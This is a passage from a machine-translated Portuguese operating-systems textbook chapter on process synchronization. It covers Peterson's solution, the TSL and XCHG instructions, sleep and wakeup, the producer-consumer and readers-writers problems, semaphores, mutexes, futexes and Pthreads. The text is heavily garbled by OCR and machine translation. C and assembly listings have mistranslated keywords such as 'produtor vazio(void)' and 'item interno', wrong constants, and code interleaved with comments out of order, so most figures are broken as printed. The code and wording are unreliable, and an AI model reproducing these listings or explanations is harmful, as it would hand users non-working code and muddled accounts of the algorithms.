é mostrado na Figura 2-24. Este algoritmo consiste em dois procedimentos escritos em ANSI 
C, o que significa que protótipos de funções devem ser fornecidos para todas as funções 
definido e usado. Porém, para economizar espaço, não mostraremos aqui protótipos ou 
mais tarde. 

Antes de usar as variáveis compartilhadas (ou seja, antes de entrar na sua região crítica), cada 
chamadas de processo entram na região com seu próprio número de processo, O ou 1, como parâmetro. Esse 
call fará com que ele espere, se necessário, até que seja seguro entrar. Depois de terminar 
com as variáveis compartilhadas, o processo chama a região de saída para indicar que foi feito 
e permitir a entrada do outro processo, se assim o desejar. 
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tidefine FALSO 0 
#define VERDADEIRO 


1 fdefine N 2 /* número de processos */ 
por sua /* Quem é a vez? *//* 
vez; int interessado[N]; todos os valores inicialmente O (FALSO) */ 
void entrar na região (processo int); ( /* processo é O ou 1 */ 
dentro outro; /*número do outro processo */ 


outro = 1 processo; / * o oposto de processo */ interessado[processo] = TRUE; / 

* mostra que você está interessado *// * set flag */ turn n = process; while (turn == 
interessado[outro] processo && 

== TRUE) /* instrução nula */ ; 


void sair da região(int processo) ( / *processo: quem está saindo */ 


interessado[processo] = FALSE; /* indica a saída da região crítica */ 


Figura 2-24. A solução de Peterson para alcançar a exclusão mútua. 


Vamos ver como essa solução funciona. Inicialmente nenhum dos processos está em sua região crítica. 
Agora processe 0 chamadas, entre na região. Ele indica seu interesse definindo seu elemento de array e define 
turn como 0. Como o processo 1 não está interessado, insira os retornos da região imediatamente. Se- processo 
1 agora fizer uma chamada para entrar na região, ele ficará suspenso até que o interessado[0] vá para FALSE, 
um evento que acontece somente quando as chamadas do processo O saem da região para sair da região crítica. 

Agora considere o caso em que ambos os processos chamam enter regien quase simultaneamente. 

Ambos armazenarão seu número de processo por sua vez. Qualquer armazenamento feito por último é o que 
conta; o primeiro é substituído e perdido. Suponha que o processo 1 armazene por último, então turn é 1. 
Quando ambos os processos chegam à instrução while, o processo 0 o executa zero vezes e entra em sua 
região crítica. O processo 1 faz um loop e não entra em sua região crítica até que o processo O saia de sua 


região crítica. 
A Instrução TSL 


Vejamos agora uma proposta que requer uma ajudinha do hardware. 


Alguns computadores, especialmente aqueles projetados com múltiplos processadores em mente, possuem 
instruções como 


TSL RX,BLOQUEIO 


(Teste e definição de bloqueio) que funciona da seguinte maneira. Ele lê o conteúdo da palavra lock da memória 


no registrador RX e então armazena um valor diferente de zero no endereço de memória. 
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trancar. As operações de leitura da palavra e armazenamento nela são garantidamente 
indivisível — nenhum outro processador pode acessar a palavra da memória até que a instrução seja 
finalizado. A CPU que executa a instrução TSL bloqueia o barramento de memória para proibir 
outras CPUs acessem a memória até que isso seja feito. 
É importante notar que bloquear o barramento de memória é muito diferente de desabilitar interrupções. 
Desativando interrupções e realizando uma leitura em uma palavra de memória 
seguido por uma gravação não impede que um segundo processador no barramento acesse 
a palavra entre a leitura e a escrita. Na verdade, desabilitar interrupções no processador 
1 não tem nenhum efeito no processador 2. A única maneira de manter o processador 2 fora do 
memória até que o processador 1 termine é bloquear o barramento, o que requer um dispositivo especial 
recurso de hardware (basicamente, uma linha de barramento afirmando que o barramento está bloqueado e não 
disponível para outros processadores além daquele que o bloqueou). 
Para usar a instrução TSL, usaremos uma variável compartilhada, lock, para coordenar 
acesso à memória compartilhada. Quando o bloqueio é 0, qualquer processo pode defini-lo como 1 usando o TSL 
instrução e então ler ou escrever na memória compartilhada. Quando terminar, o processo 
define o bloqueio de volta para O usando uma instrução de movimento comum. 
Como esta instrução pode ser usada para evitar que dois processos sejam executados simultaneamente? 
entrando em suas regiões críticas? A solução é dada na Figura 2.25. Isso mostra um 
sub-rotina de quatro instruções em uma linguagem assembly fictícia (mas típica). O primeiro 
A instrução copia o valor antigo de lock para o registrador e então define lock como 1. Então 
o valor antigo é comparado com 0. Se for diferente de zero, o bloqueio já foi definido, então o 
o programa simplesmente volta ao início e testa novamente. Mais cedo ou mais tarde, isso acontecerá 
torna-se 0 (quando o processo atualmente em sua região crítica é concluído com sua região crítica 
região) e a sub-rotina retorna, com o bloqueio definido. Limpar o bloqueio é muito simples. O programa apenas 


armazena um 0 no bloqueio. Sem instruções especiais de sincronização 
são precisos. 


insira a região: 


REGISTRO TSL, BLOQUEIO | copie o bloqueio para registrar e defina o bloqueio para 1 
REGISTRO CMP,#0 | o bloqueio era zero? 

JNE entra na região | se não fosse zero, o bloqueio foi definido, então faça um loop 
RET | retornar ao chamador; região crítica inserida 


sair da região: 
MOVER BLOQUEIO 80 | armazenar um 0 no bloqueio 
RET | retornar ao chamador 


Figura 2-25. Entrando e saindo de uma região crítica usando a instrução TSL. 


Uma solução para o problema das regiões críticas agora é fácil. Antes de entrar em seu 
região crítica, um processo chama a região enter, que fica ocupada aguardando até o bloqueio 
é grátis; então ele adquire o bloqueio e retorna. Depois de sair da região crítica o 


as chamadas de processo saem da região, que armazena um 0 no bloqueio. Tal como acontece com todas as soluções baseadas em 
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regiões críticas, os processos devem chamar a região de entrada e a região de saída nos momentos corretos para 
que o método funcione. Se um processo trapacear, a exclusão mútua falhará. Em outras palavras, as regiões críticas 
só funcionam se os processos cooperarem. 

Uma instrução alternativa ao TSL é o XCHG, que troca atomicamente o conteúdo de dois locais, por exemplo, 
um registrador e uma palavra de memória. O código é mostrado na Figura 2.26 e, como pode ser visto, é 
essencialmente o mesmo que a solução com TSL. Todas as CPUs Intel x86 usam instruções XCHG para sincronização 


de baixo nível. 


insira a região: 


REGISTRO DE MOVIMENTO, 1 | coloque 1 no registro | 

REGISTRO XCHG, BLOQUEIO troca o conteúdo do registro e bloqueia a variável | o 
REGISTRO CMP,#0 bloqueio era zero? | 

JNE entra na região se fosse diferente de zero, o bloqueio foi definido, 

RET então loop | retornar ao chamador; região crítica inserida 


sair da região: 
MOVER BLOQUEIO,40 | armazenar um 0 no 
RET bloqueio | retornar ao chamador 


Figura 2-26. Entrando e saindo de uma região crítica usando a instrução XCHG. 


2.4.4 Sono e Despertar 


Tanto a solução de Peterson quanto as soluções que utilizam TSL ou XCHG estão corretas, mas ambas têm o 
defeito de exigir espera ocupada. Em essência, o que estas soluções fazem é isto: quando um processo quer entrar 
na sua região crítica, ele verifica se a entrada é permitida. Caso contrário, o processo apenas fica em um loop 


apertado, queimando a CPU enquanto espera até que isso aconteça. 


Essa abordagem não apenas desperdiça tempo de CPU, mas também pode ter efeitos inesperados. Considere 
um computador com dois processos, H, de alta prioridade, e L, de baixa prioridade. As regras de escalonamento são 
tais que H é executado sempre que estiver no estado pronto. Num determinado momento, com L na sua região crítica, 
H fica pronto para funcionar (por exemplo, uma operação de E/S é concluída). H agora começa a esperar ocupada, 
mas como L nunca é escalonado enquanto H está em execução, L nunca tem a chance de deixar sua região crítica, 
então H faz um loop para sempre. Esta situação é por vezes referida como uma variante do problema de inversão de 


prioridades. 


Agora vamos dar uma olhada em algumas primitivas de comunicação entre processos que bloqueiam em vez 
de desperdiçar tempo de CPU quando não têm permissão para entrar em suas regiões críticas. Um dos mais simples 
é o par dormir e acordar. Sleep é uma chamada de sistema que faz com que o chamador seja bloqueado, ou seja, 
suspenso até que outro processo o desperte. A chamada de ativação possui um parâmetro, o processo a ser 
despertado. Alternativamente, tanto sleep quanto wakeup têm um parâmetro, um endereço de memória usado para 


combinar sleeps com wakeups. 
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O problema produtor-consumidor 


Como exemplo de como essas primitivas podem ser usadas, consideremos o problema 
produtor-consumidor (também conhecido como problema do buffer limitado). Dois processos 
compartilham um buffer comum de tamanho fixo. Um deles, o produtor, coloca a informação no 
buffer, e o outro, o consumidor, a retira. (Também é possível generalizar o problema para ter m 
produtores en consumidores, mas consideraremos apenas o caso de um produtor e um consumidor 
porque esta suposição simplifica as soluções.) 


O problema surge quando o produtor quer colocar um novo item no buffer, mas ele já está 
cheio. A solução é o produtor dormir, para ser acordado quando o consumidor retirar um ou mais 
itens. Da mesma forma, se o consumidor quiser remover um item do buffer e perceber que o buffer 
está vazio, ele adormece até que o produtor coloque algo no buffer e o desperte. 


Essa abordagem parece bastante simples, mas leva aos mesmos tipos de condições de corrida 
que vimos anteriormente com o diretório de spooler. Para controlar o número de itens no buffer, 
precisaremos de uma variável, count. Se o número máximo de itens que o buffer pode conter for N, 
o código do produtor testará primeiro para ver se a contagem é N. 

Se for, o produtor irá dormir; caso contrário, o produtor adicionará um item e aumentará a contagem. 


O código do consumidor é semelhante: primeiro teste a contagem para ver se é 0. Se for, vá 
dormir; se for diferente de zero, remova um item e diminua o contador. Cada um dos processos 
também testa se o outro deve ser despertado e, em caso afirmativo, desperta-o. O código para 
produtor e consumidor é mostrado na Figura 2.27. 

Para expressar chamadas de sistema como sleep e wakeup em C, iremos mostrá-las como 
chamadas para rotinas de biblioteca. Eles não fazem parte da biblioteca C padrão, mas 
provavelmente seriam disponibilizados em qualquer sistema que realmente tivesse essas chamadas 
de sistema. Os procedimentos inserir item e remover item, que não são mostrados, tratam da 
contabilidade de colocar itens no buffer e retirar itens do buffer. 

Agora vamos voltar à condição de corrida. Isso pode ocorrer porque o acesso à contagem é 
irrestrito. Como consequência, a seguinte situação poderia ocorrer. 

O buffer está vazio e o consumidor acabou de ler a contagem para ver se é 0. Nesse instante, o 
escalonador decide parar temporariamente de executar o consumidor e começar a executar o 
produtor. O produtor insere um item no buffer, aumenta a contagem e percebe que agora é 1. 
Raciocinando que a contagem era apenas 0 e, portanto, o consumidor deve estar dormindo, o 
produtor cnama wakeup para acordar o consumidor. 

Infelizmente, o consumidor ainda não está logicamente adormecido, então o sinal de despertar 
é perdido. Na próxima execução, o consumidor testará o valor de count lido anteriormente, 
descobrirá que é O e adormecerá. Mais cedo ou mais tarde, o produtor encherá o buffer e também 
adormecerá. Ambos dormirão para sempre. 

A essência do problema aqui é que uma ativação enviada para um processo que (ainda) não 
está dormindo é perdida. Se não estivesse perdido, tudo funcionaria. Uma solução rápida é 
modificar as regras para adicionar um bit de espera de ativação à imagem. Quando um despertar é 
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#define N 100 
int contagem = 0; 


/* número de slots no buffer */ / * 
número de itens no buffer */ 


produtor vazio(void) { 


item interno; 

while (TRUE) / * repetir para sempre 
{ item = produzir item(); if *//* gerar o próximo item *// 
(contagem == N) dormir(); * se o buffer estiver cheio, vá dormir 


insira titem(item); 
contagem = contagem 


*//* colocar o item no 
buffer */ / * aumentar a contagem de itens no 


+ 1; if (contagem == 1) wakeup(consumidor); buffer */ /* o buffer estava vazio? */ 


void consumidor(void) ( 
item interno; 


while (TRUE) { if 
(contagem == 0) sleep(); 
item = remover item(); 
contagem = contagem 
1; if (contagem == N 1) wakeup(produtor); 
consumir item(item); 


/ * repetir para sempre 

*//* se o buffer estiver vazio, vou dormir 

*//* retirar item do buffer *// 

* diminuir a contagem de itens no buffer *//* o 
buffer estava cheio? *// 


“pr int item */ 


Figura 2-27. O problema produtor-consumidor com uma condição racial fatal. 


enviado para um processo que ainda está ativo, esse bit é definido. Mais tarde, quando o processo tentar 
dormir, se o bit de espera de ativação estiver ativado, ele será desativado, mas o processo permanecerá 
ativo. O bit de espera de ativação é um cofrinho para armazenar sinais de ativação. O consumidor limpa o 
bit de espera de ativação em cada iteração do loop. 

Embora o bit de espera de ativação salve a situação neste exemplo simples, é fácil construir exemplos 
com três ou mais processos nos quais um bit de espera de ativação é insuficiente. Poderíamos fazer outro 
patch e adicionar um segundo bit de espera de ativação, ou talvez 32 ou 64 deles, mas em princípio o 
problema ainda persiste. 


2.4.5 Semáforos 


Esta era a situação em 1965, quando EW Dijkstra (1965) sugeriu usar uma variável inteira para contar 
o número de ativações salvas para uso futuro. Em sua proposta inicial foi introduzido um novo tipo de variável, 
que ele chamou de semáforo. A 


Machine Translated by Google 


130 PROCESSOS E LINHAS INDIVÍDUO. 2 


o semáforo poderia ter o valor 0, indicando que nenhum despertar foi salvo, ou algum valor 
positivo se um ou mais despertares estivessem pendentes. 

Dijkstra propôs duas operações em semáforos, agora normalmente chamados de down e up 
(generalizações de sleep e wakeup, respectivamente). A operação down em um semáforo 
verifica se o valor é maior que 0. Se for, ela decrementa o valor (isto é, usa um wakeup 
armazenado) e simplesmente continua. Se o valor for 0, o processo é colocado em suspensão 
sem concluir o down no momento. Verificar o valor, alterá-lo e possivelmente dormir, tudo isso é 
feito como uma única ação atômica divisível. É garantido que, uma vez iniciada uma operação 
de semáforo, nenhum outro processo poderá acessar o semáforo até que a operação seja 
concluída ou bloqueada. Esta atomicidade é absolutamente essencial para resolver problemas 
de sincronização e evitar condições de corrida. As ações atômicas, nas quais um grupo de 
operações relacionadas são realizadas sem interrupção ou nem sequer são executadas, são 
extremamente importantes também em muitas outras áreas da ciência da computação. 


A operação up incrementa o valor do semáforo endereçado. Se um (ou mais) processos 
estavam adormecidos naquele semáforo, incapazes de completar uma operação anterior de 
inatividade, um deles é escolhido pelo sistema (por exemplo, aleatoriamente) e pode completar 
sua inatividade. Após um up em um semáforo com processos adormecidos nele, o semáforo 
ainda terá o valor 0. No entanto, haverá alguns processos adormecidos nele. A operação de 
incrementar o semáforo e ativar um processo também é indivisível. Nenhum processo bloqueia a 
ativação, assim como nenhum processo bloqueia a ativação no modelo anterior. 


À parte, no artigo original de Dijkstra, ele usou os nomes P e V em vez de para baixo e para 
cima, respectivamente. Uma vez que estes não têm significado mnemónico para as pessoas que 
não falam holandês e apenas um significado marginal para as pessoas que o fazem — Proberen 
(tentar) e Verhogen (aumentar, aumentar) — utilizaremos os termos para baixo e para cima. Eles 
foram introduzidos pela primeira vez na linguagem de programação Algol 68. 


Resolvendo o problema produtor-consumidor usando semáforos 


Os semáforos resolvem o problema do despertar perdido, conforme mostrado na Figura 
2.28. Para que funcionem corretamente é fundamental que sejam implementados de forma indivisível. 
A maneira normal é implementar up e down como chamadas de sistema, com o sistema 
operacional desativando brevemente todas as interrupções enquanto testa o semáforo, atualizando- 
o e colocando o processo em suspensão, se necessário. Como todas essas ações seguem 
apenas algumas instruções, não há nenhum problema em desabilitar as interrupções. Se múltiplas 
CPUs estiverem sendo usadas, cada semáforo deverá ser protegido por uma variável de bloqueio, 
com as instruções TSL ou XCHG usadas para garantir que apenas uma CPU por vez examine o 
semáforo. 

Certifique-se de entender que usar TSL ou XCHG para evitar que várias CPUs acessem o 
semáforo ao mesmo tempo é bem diferente de o produtor ou consumidor ficar ocupado esperando 
que o outro esvazie ou preencha o buffer. A operação do semáforo levará apenas alguns 
nanossegundos, enquanto o produtor ou consumidor pode demorar arbitrariamente. 
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#define N 100 / * número de slots no buffer */ / * 

typedef int semáforo; semáforos são um tipo especial de int */ / * 
semáforo mutex = 1; controla o acesso à região crítica *// * conta 
semáforo vazio = N; slots de buffer vazios */ / * conta 

semáforo cheio = 0; slots de buffer cheios */ 


produtor vazio(void) ( 


item interno; 

while (TRUE) (item /* TRUE é a constante 1 *//* 
= produzir item(); para gera algo para colocar no buffer *// * diminui a 
baixo(&vazio); para contagem de vazios *// * entra na 
baixo(&mutex); região crítica *// * coloca 
insira t item(item); para novo item no buffer *//* sai da 
cima(&mutex); região crítica */ / * incremento 
para cima(&completo): na contagem de slots completos */ 


void consumidor(void) ( 


item interno; 

while (TRUE) /* loop infinito *//* 
( down(&full); diminui a contagem completa 
para baixo(&mutex); *//* entra na região crítica 
item = remover item(); para *//* pega o item do buffer *// 
cima(&mutex); * sai da região crítica *//* 
para aumenta a contagem de slots vazios */ / * 
cima(&vazio); consumir item(item); faz algo com o item */ 


Figura 2-28. O problema produtor-consumidor usando semáforos. 


Esta solução usa três semáforos: um chamado full para contar o número de slots que estão cheios, um 
chamado vazio para contar o número de slots que estão vazios e um chamado mutex para garantir que o 
produtor e o consumidor não acessem o buffer no mesmo tempo. Full é inicialmente 0, vazio é inicialmente igual 
ao número de slots no buffer e mutex é inicialmente 1. Semáforos que são inicializados em 1 e usados por dois 
ou mais processos para garantir que apenas um deles possa entrar em sua região crítica em ao mesmo tempo 
são chamados de semáforos binários. Se cada processo desce logo antes de entrar em sua região crítica e 
sobe logo após sair dela, a exclusão mútua é garantida. 


Agora que temos uma boa primitiva de comunicação e sincronização entre processos à nossa disposição, 
vamos voltar e olhar novamente para a sequência de interrupção do 
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Figura 2-5. Num sistema que utiliza semáforos, a maneira natural de ocultar interrupções é 
possuem um semáforo, inicialmente definido como 0, associado a cada dispositivo de E/S. Logo após 
iniciando um dispositivo de E/S, o processo de gerenciamento desativa o semáforo associado, bloqueando 
imediatamente. Quando a interrupção chega, o manipulador de interrupção faz um up no semáforo 
associado, o que torna o processo relevante 
pronto para correr novamente. Neste modelo, o passo 5 da Fig. 2-5 consiste em fazer um up no 
semáforo do dispositivo, para que no passo 6 o escalonador seja capaz de executar o dispositivo 
gerente. É claro que, se vários processos estiverem prontos, o escalonador poderá escolher 
para executar um processo ainda mais importante a seguir. Veremos alguns dos algoritmos 
usado para agendamento mais adiante neste capítulo. 
No exemplo da Figura 2.28, na verdade usamos semáforos em duas formas diferentes. 
caminhos. Essa diferença é importante o suficiente para ser explicitada. O semáforo mutex 
é usado para exclusão mútua. Ele foi projetado para garantir que apenas um processo por vez 
time estará lendo ou escrevendo o buffer e as variáveis associadas. Este mútuo 
a exclusão é necessária para evitar o caos. Estudaremos a exclusão mútua e como 
alcançá-lo na próxima seção. 
O outro uso de semáforos é para sincronização. Os semáforos cheios e vazios são necessários para 
garantir que certas sequências de eventos ocorram ou não. Em 
neste caso, eles garantem que o produtor pare de funcionar quando o buffer estiver cheio, e 


que o consumidor pare de funcionar quando estiver vazio. Este uso é diferente do mútuo 
exclusão. 


O problema dos leitores e escritores 


O problema produtores-consumidores é útil para modelar dois processos (ou 
threads) que trocam blocos de dados enquanto compartilham um buffer. Outro problema famoso é o 
problema dos leitores e escritores (Courtois et al., 1971), que modela o acesso 
para um banco de dados. Imagine, por exemplo, um sistema de reservas de companhias aéreas, com 
muitos processos concorrentes que desejam lê-lo e escrevê-lo. É aceitável ter vários processos lendo o 
banco de dados ao mesmo tempo, mas se um processo estiver atualizando (escrevendo) 
banco de dados, nenhum outro processo poderá ter acesso ao banco de dados, nem mesmo leitores. 
A questão é como você programa os leitores e os escritores? Uma solução é 
mostrado na Figura 2-29. 

Nesta solução, o primeiro leitor a obter acesso ao banco de dados faz um down no 
semáforo db. Os leitores subsequentes meramente incrementam um contador, re. Como leitores 
saem, decrementam o contador, e o último a sair dá um up no semáforo, permitindo a entrada de um 
escritor bloqueado, se houver. 

A solução aqui apresentada contém implicitamente uma decisão subtil digna de nota. 
Suponha que enquanto um leitor está usando o banco de dados, outro leitor aparece. 
Como ter dois leitores ao mesmo tempo não é um problema, o segundo leitor é 
admitiu. Leitores adicionais também podem ser admitidos se comparecerem. 

Agora suponha que um escritor apareça. O escritor não pode ser admitido na base de dados, pois os 
escritores devem ter acesso exclusivo, portanto o escritor deve ser suspenso. 


Machine Translated by Google 


SEC. 2.4 SINCRONIZAÇÃO E COMUNICAÇÃO ENTRE PROCESSO 133 


typedef int semáforo; 
semáforo mutex = 1; 
semáforo db = 1; intrc 
=0; 


leitor vazio(void) ( 


enquanto (VERDADEIRO) ( 
para baixo(&mutex); 
rc=rc+ 1;if 
(rc == 1) baixo(&db); para 
cima(&mutex); 
ler banco de dados ( ); 
para baixo(&mutex); 
rc =rc 1; if 
(rc == 0) up(&db); para 
cima(&mutex); 
usar leitura de dados(); 


escritor vazio(void) 


{ 
while (TRUE) 
{pense-em dados (); 
para baixo(&db); 
escrever base de dados(); 
para cima(&db); 
} 
} 


/* use sua imaginação */ / * 
controla o acesso ao rc *//* 
controla o acesso ao banco de dados */ / * # 


de processos lendo ou querendo */ 


/* repita para sempre 

*// * obtenha acesso exclusivo ao rc 
*//* mais um leitor agora */ /* se 

este for o primeiro leitor ... */ / * libere 
acesso exclusivo ao rc */ /* acesse os 
dados */ 

/* obtenha acesso exclusivo ao rc *// 
* um leitor a menos agora */ /* se 

este for o último leitor ... *//* libere 
acesso exclusivo ao rc */ /* região não 


crítica */ 


/* repetir para sempre 
*//* região não crítica *//* 
obter acesso exclusivo */ /* 


atualizar os dados */ / * 
liberar acesso exclusivo */ 


Figura 2-29. Uma solução para o problema dos leitores e escritores. 


Mais tarde, aparecem leitores adicionais. Enquanto pelo menos um leitor ainda estiver ativo, serão admitidos 


leitores subsequentes. Como consequência desta estratégia, desde que haja uma oferta constante de leitores, 


todos entrarão assim que chegarem. O escritor será mantido suspenso até que nenhum leitor esteja presente. Se 


um novo leitor chegar, digamos, a cada 2 segundos, e cada leitor levar 5 segundos para fazer seu trabalho, o 


escritor nunca entrará. Obviamente, esta não é uma situação satisfatória. 


Para evitar esta situação, o programa poderia ser escrito de forma um pouco diferente: quando um leitor 


chega e um escritor está esperando, o leitor é suspenso atrás do escritor em vez de ser admitido imediatamente. 


Dessa forma, um escritor tem que esperar que os leitores que estavam ativos quando ele chegou terminem, mas 
não precisa esperar pelos leitores que vieram depois dele. A desvantagem desta solução é que ela consegue 


menos ganhos e, portanto, menor desempenho. Courtois et al. apresentar uma solução que dê prioridade aos 


redatores. Para obter detalhes, consulte o artigo. 
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2.4.6 Mutexes 


Quando a capacidade de contagem do semáforo não for necessária, uma versão simplificada do 
o semáforo, cnamado mutex, às vezes é usado. Os mutexes são bons apenas para gerenciar a exclusão mútua de algum 
recurso compartilhado ou trecho de código. Eles são fáceis 
e eficientes de implementar, o que os torna especialmente úteis em pacotes de threads 
que são implementados inteiramente no espaço do usuário. 
Um mutex é uma variável compartilhada que pode estar em um de dois estados: desbloqueado ou 
bloqueado. Consequentemente, apenas 1 bit é necessário para representá-lo, mas na prática um número inteiro é 
frequentemente usado, com O significando desbloqueado e todos os outros valores significando bloqueado. 
Dois procedimentos são usados com mutexes. Quando um thread (ou processo) precisa de acesso 
para uma região crítica, ele chama o bloqueio mutex. Se o mutex estiver atualmente desbloqueado (o que significa que a 
região crítica está disponível), a chamada será bem-sucedida e o thread de chamada será 
livre para entrar na região crítica. 
Por outro lado, se o mutex já estiver bloqueado, o thread de chamada será bloqueado 
até que o thread na região crítica seja concluído e chame o desbloqueio mutex. Se vários threads estiverem bloqueados 
no mutex, um deles é escolhido aleatoriamente e permitido 
para adquirir o bloqueio. 
Como os mutexes são tão simples, eles podem ser facilmente implementados no espaço do usuário 
desde que uma instrução TSL ou XCHG esteja disponível. O código para bloqueio mutex e Es, 
O desbloqueio mutex para uso com um pacote de threads de nível de usuário é mostrado na Figura 2.30. 
A solução com XCHG é essencialmente a mesma. 


bloqueio mutex: 


REGISTRO TSL,MUTEX copie o mutex para registrar e defina o mutex como 1 
REGISTRO CMP,40 o mutex era zero? 
JZE ok se fosse zero, o mutex estava desbloqueado, então retorne 
CALL rendimento do encadeamento mutex está ocupado; agende outro tópico 
Bloqueio mutex JMP tente novamente 

OK: RET retornar ao chamador; região crítica inserida 


desbloqueio mutex: 


MOVER MUTEX,#0 armazenar um 0 em mutex 
RET retornar ao chamador 


Figura 2-30. Implementação de bloqueio mutex e desbloqueio mutex. 


O código do bloqueio mutex é semelhante ao código da região enter da Figura 2.25, mas 
com uma diferença crucial. Quando entrar na região não consegue entrar na região crítica, 
continua testando o bloqueio repetidamente (espera ocupada). Eventualmente, o tempo acaba e 
algum outro processo está programado para ser executado. Mais cedo ou mais tarde, o processo que mantém o bloqueio 
começa a correr e o libera. 
Com threads (de usuário), a situação é diferente porque não há relógio que 
interrompe threads que foram executados por muito tempo. Consequentemente, um thread que tenta adquirir um 
o bloqueio por espera ocupada fará um loop para sempre e nunca adquirirá o bloqueio porque nunca 
permite que qualquer outro thread seja executado e libere o bloqueio. 
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É aí que entra a diferença entre a região de entrada e o bloqueio mutex . = 
Quando este último não consegue adquirir um bloqueio, ele chama thread yield para ceder a CPU para outro 
thread. Conseguentemente, não há espera ocupada. Quando o thread for executado na próxima vez, ele 
testará o bloqueio novamente. 

Como o rendimento do thread é apenas uma chamada para o agendador de threads no espaço do 
usuário, ele é muito rápido. Como consequência, nem o bloqueio mutex nem o desbloqueio mutex requerem 
quaisquer chamadas de kernel. Usando-os, threads de nível de usuário podem sincronizar inteiramente no 
espaço do usuário usando procedimentos que requerem apenas algumas instruções. 

O sistema mutex que descrevemos acima é um conjunto básico de cnamadas. 

Com todos os softwares, há sempre uma demanda por mais recursos, e as primitivas de sincronização não são 
exceção. Por exemplo, às vezes um pacote de threads oferece uma chamada mutex trylock que adquire o 
bloqueio ou retorna um código de falha, mas não bloqueia. Essa cnamada dá ao thread a flexibilidade para 
decidir o que fazer a seguir se houver alternativas a apenas esperar. 


Há uma questão subtil que até agora encobrimos, mas que vale a pena tornar explícita. Com um pacote 
de threads no espaço do usuário, não há problema com vários threads tendo acesso ao mesmo mutex, já que 
todos os threads operam em um espaço de endereço comum. No entanto, com a maioria das soluções 
anteriores, como o algoritmo e os semáforos de Peter Son, existe uma suposição tácita de que múltiplos 
processos têm acesso a pelo menos alguma memória compartilhada, talvez apenas uma palavra, mas alguma 
coisa. Se os processos têm espaços de endereçamento disjuntos, como dissemos consistentemente, como 
eles podem compartilhar a variável turn no algoritmo de Peterson, ou semáforos ou um buffer comum? 


Existem duas respostas. Primeiro, algumas das estruturas de dados compartilhadas, como os semáforos, 
podem ser armazenadas no kernel e acessadas apenas por meio de chamadas de sistema. Essa abordagem 
elimina o problema. Em segundo lugar, a maioria dos sistemas operacionais modernos (incluindo UNIX e 
Windows) oferece uma maneira de os processos compartilharem uma parte do seu espaço de endereço com 
outros processos. Desta forma, buffers e outras estruturas de dados podem ser compartilhados. Na pior das 
hipóteses, se nada mais for possível, um arquivo compartilhado poderá ser usado. 


Se dois ou mais processos compartilham a maior parte ou todos os seus espaços de endereçamento, a 
distinção entre processos e threads torna-se um tanto confusa, mas ainda assim está presente. Dois processos 
que compartilham um espaço de endereço comum ainda possuem arquivos abertos, temporizadores de alarme 
e outras propriedades por processo diferentes, enquanto os threads dentro de um único processo os 
compartilham. E é sempre verdade que múltiplos processos compartilhando um espaço de endereço comum 
nunca têm a eficiência de threads no nível do usuário, uma vez que o kernel está profundamente envolvido em 


seu gerenciamento. 


Futexes 


Com o aumento do paralelismo, a sincronização e o bloqueio eficientes são muito importantes para o 
desempenho. Spin locks (e mutexes implementados por espera ocupada em geral) são rápidos se a espera for 
curta, mas desperdiçam ciclos de CPU caso contrário. Se há muito 
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Contenção, é portanto mais eficiente bloquear o processo e deixar o kernel desbloqueá-lo somente 
quando o bloqueio estiver livre. Infelizmente, isso tem o problema inverso: funciona bem sob forte 
contenção, mas mudar continuamente para o kernel é caro se, para começar, houver muito pouca 
contenção. Para piorar a situação, pode não ser fácil prever a quantidade de contenção de bloqueios. 
Uma boa solução que tenta combinar o melhor dos dois mundos é o futex, ou “mutex de espaço de 
usuário rápido”. 

Um futex é um recurso do Linux que implementa bloqueio básico (muito parecido com um mutex), 
mas evita cair no kernel, a menos que seja realmente necessário. Como mudar para o kernel e voltar é 
bastante caro, isso melhora consideravelmente o desempenho. Embora concentremos nossa discussão 
no bloqueio no estilo mutex, os futexes são muito versáteis e usados para implementar uma variedade 
de primitivas de sincronização, desde mutexes até variáveis de condição. Eles também são um recurso 
de nível muito baixo do kernel que a maioria dos usuários nunca usará diretamente — em vez disso, são 
agrupados por bibliotecas padrão que oferecem primitivos de nível superior. Somente quando você 
levanta o capô é que você vê o mecanismo futex alimentando muitos tipos diferentes de sincronização. 


Um futex é uma construção suportada pelo kernel para permitir que os processos do espaço do 
usuário sincronizem em eventos compartilhados. Consiste em duas partes: um serviço de kernel e uma 
biblioteca de usuário. O serviço do kernel fornece uma “fila de espera” que permite que vários processos 
esperem por um bloqueio. Eles não serão executados, a menos que o kernel os desbloqueie 
explicitamente. Para que um processo seja colocado na fila de espera, é necessária uma chamada de 
sistema (cara). Se possível, deve ser evitado. Na ausência de qualquer contenção, portanto, o futex 
funciona inteiramente no espaço do usuário. Especificamente, os processos ou threads compartilham 
uma variável de bloqueio comum — um nome sofisticado para um número inteiro na memória compartilhada que serve como bloque 
Suponha que temos um programa multithread e o bloqueio é inicialmente -1, o que assumimos como 
significando que o bloqueio está livre. Um thread pode capturar o bloqueio executando um "decremento 
e teste" atômico (funções atômicas no Linux consistem em assembly embutido em funções C e são 
definidas em arquivos de cabeçalho). Em seguida, o thread inspeciona o resultado para ver se o bloqueio 
estava livre ou não. Se não estava no estado bloqueado, está tudo bem e nosso thread capturou o 
bloqueio com sucesso. 

Porém, se o bloqueio for mantido por outro thread, nosso thread terá que esperar. Nesse caso, a 
biblioteca futex não gira, mas usa uma chamada de sistema para colocar o thread na fila de espera do 
kernel. Felizmente, o custo da mudança para o kernel agora está justificado, porque o thread foi 
bloqueado de qualquer maneira. Quando um thread termina com o bloqueio, ele libera o bloqueio com 
um "incremento e teste" atômico e verifica o resultado para ver se algum processo ainda está bloqueado 
na fila de espera do kernel. Nesse caso, ele informará ao kernel que pode ativar (desbloquear) um ou 
mais desses processos. Em outras palavras, se não houver contenção, o kernel não estará envolvido. 


Mutexes em Pthreads 


Pthreads fornece várias funções para sincronizar threads. O mecanismo básico utiliza uma variável 
mutex, que pode ser bloqueada ou desbloqueada, para proteger cada região crítica. A implementação de 
um mutex varia de sistema operacional para 
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sistema operacional, mas no Linux ele é construído sobre futexes. Uma thread que deseja entrar em uma 
região crítica primeiro tenta bloquear o mutex associado. Se o mutex for 

desbloqueado, o thread pode entrar imediatamente e o bloqueio é definido atomicamente, evitando a 
entrada de outros threads. Se o mutex já estiver bloqueado, o thread de chamada será 

bloqueado até que seja desbloqueado. Se vários threads estiverem aguardando no mesmo mutex, 
quando é desbloqueado, apenas um deles pode continuar e bloqueá-lo novamente. Esses 

bloqueios não são obrigatórios. Cabe ao programador garantir que os threads os utilizem 

corretamente. 

As principais chamadas relacionadas a mutexes são mostradas na Figura 2.31. Como você pode 
espere, mutexes podem ser criados e destruídos. As chamadas para executar essas operações são pthread 
